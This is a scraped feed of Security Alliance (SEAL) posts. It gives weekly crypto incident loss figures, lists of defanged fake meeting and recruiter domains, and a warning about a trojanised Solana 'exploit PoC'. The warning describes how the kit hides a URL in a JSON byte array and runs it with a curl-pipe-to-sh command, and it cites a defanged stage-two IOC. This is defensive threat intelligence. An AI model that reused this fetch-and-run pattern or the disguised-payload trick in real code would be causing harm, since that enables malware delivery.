Security Alliance

Securing the future of crypto | Cover art by @yueko__ | Emergencies:

[Security Alliance @_SEAL_Org]

SEAL exists because security experts chose to share knowledge instead of hoarding it.

Your donation keeps that infrastructure running: https://t.co/2qZC5JmSn4

[BlockSec Phalcon @Phalcon_xyz]

Who can approve transactions? Who controls privileged access? How does the team respond to incidents?

These are operational security questions.

BlockSec’s SEAL @_SEAL_Org Certification Assessment evaluates operational controls and supporting evidence against the SEAL framework, with scope determined by the team’s systems, responsibilities, and risks.

Explore the six modules and the assessment process 👇
https://t.co/VKq0GtHh45

[Security Alliance @_SEAL_Org]

@SEAL_911 is free to anyone who needs it, and stays that way because people fund it.

If this week's numbers are useful to you, fund next week's: https://t.co/8rEEiLxW93

If you require a direct and more detailed data feed from SEAL Intel contact us on our website (link in bio).

[Security Alliance @_SEAL_Org]

🔥 This week's update is a doozy because of the record volume of incidents, losses, IOCs collected, and attack vectors.

SEAL weekly stats, 20-27 Oct. 73 incidents. Losses by category:

Phishing: $47.1M
Protocol compromise: $9.46M
DPRK intrusion: $3.22M
Cause unknown: $3.12M
Malware: $2.27M
Pig butchering: $1M + €59.4K
Seed compromise: $905k + 829.4 SOL
Infrastructure exploit: $517K

What we collected:

5,179 malicious domains
126 wallets

[Security Alliance @_SEAL_Org]

Fake meeting pages (Not attributed to any APT)

gmeet[.]space
gmeets[.]top
joingooglemeetings[.]help
joinmeeting-now[.]com
meetingms[.]com
05zoom[.]live
us06zoom[.]us[.]com

Fake VC and recruiter fronts. Targets are asked to download malicious video conferencing application, perform ClickFix or install bogus Obsidian plugins (depending on the attacker).

mirae[.]fund
shape3[.]vc
boardroomtalent[.]co
hiresharbor[.]com

[Security Alliance @_SEAL_Org]

Many thanks to @Lavaragexyz for tipping us off on that attack vector! Security aware community is the first line of defense against malicious actors.

[Security Alliance @_SEAL_Org]

🚨 PSA: threat actors are approaching crypto projects on Telegram, posing as white-hat researchers, offering an “exploit PoC” for your own infra. The PoC contains malware. Our detailed write-up is linked below.

It’s a complete, runnable Solana exploit kit (fork harness, fixtures, the real program binary) so it looks legit. But poc.mjs reads a byte array from a JSON field called UnifiedSignatureInfo, decodes it to a URL, and runs curl -fsSL -k "<url>" | sh.

The decimal array is plain ASCII posing as a Solana signature. Following the README (npm install, start fork, node poc.mjs) is what detonates it.

IOC: hxxps://162[.]35[.]174[.]231:5000/stage2.

Treat any unsolicited PoC as hostile, review statically in an isolated VM, and never run the setup steps on a box you care about. Report any suspicious reachouts to SEAL.

https://t.co/0rfWwvNwkY

[Security Alliance @_SEAL_Org]

@SEAL_911 is free to anyone who needs it, and stays that way because people fund it.

If this week's numbers are useful to you, fund next week's: https://t.co/8rEEiLytYB

If you require a direct and more detailed data feed from SEAL Intel contact us on our website (link in bio).

[Security Alliance @_SEAL_Org]

SEAL weekly stats, 13-20 Oct. 70 incidents. Losses by category:

1) CryptoBilis: $9.3M
2) Seed compromise: $3.86M + 64.5 ETH + 0.3 BTC
3) Protocol compromise: $2M + 37.44 ETH
4) Account takeover: $1.6M
5) Wrench attacks: $1.22M
6) Malware: $316K + 0.47 BTC
7) Phishing: $284K
8) DPRK intrusion: $260K

[Security Alliance @_SEAL_Org]

SINT-69, an uncategorized intrusion set, keeps minting fake Zoom/Teams domains:

03nweb[.]us
04webz[.]us
05webz[.]us
web05z[.]us
lives[.]eu[.]com
teamlives[.]business
teamslive[.]uk[.]com
u06web[.]us
web06z[.]us
zoomwweb[.]us

Unclassified fake meeting pages:

meets-calls[.]com
msmeet[.]sbs
us89webzoom[.]us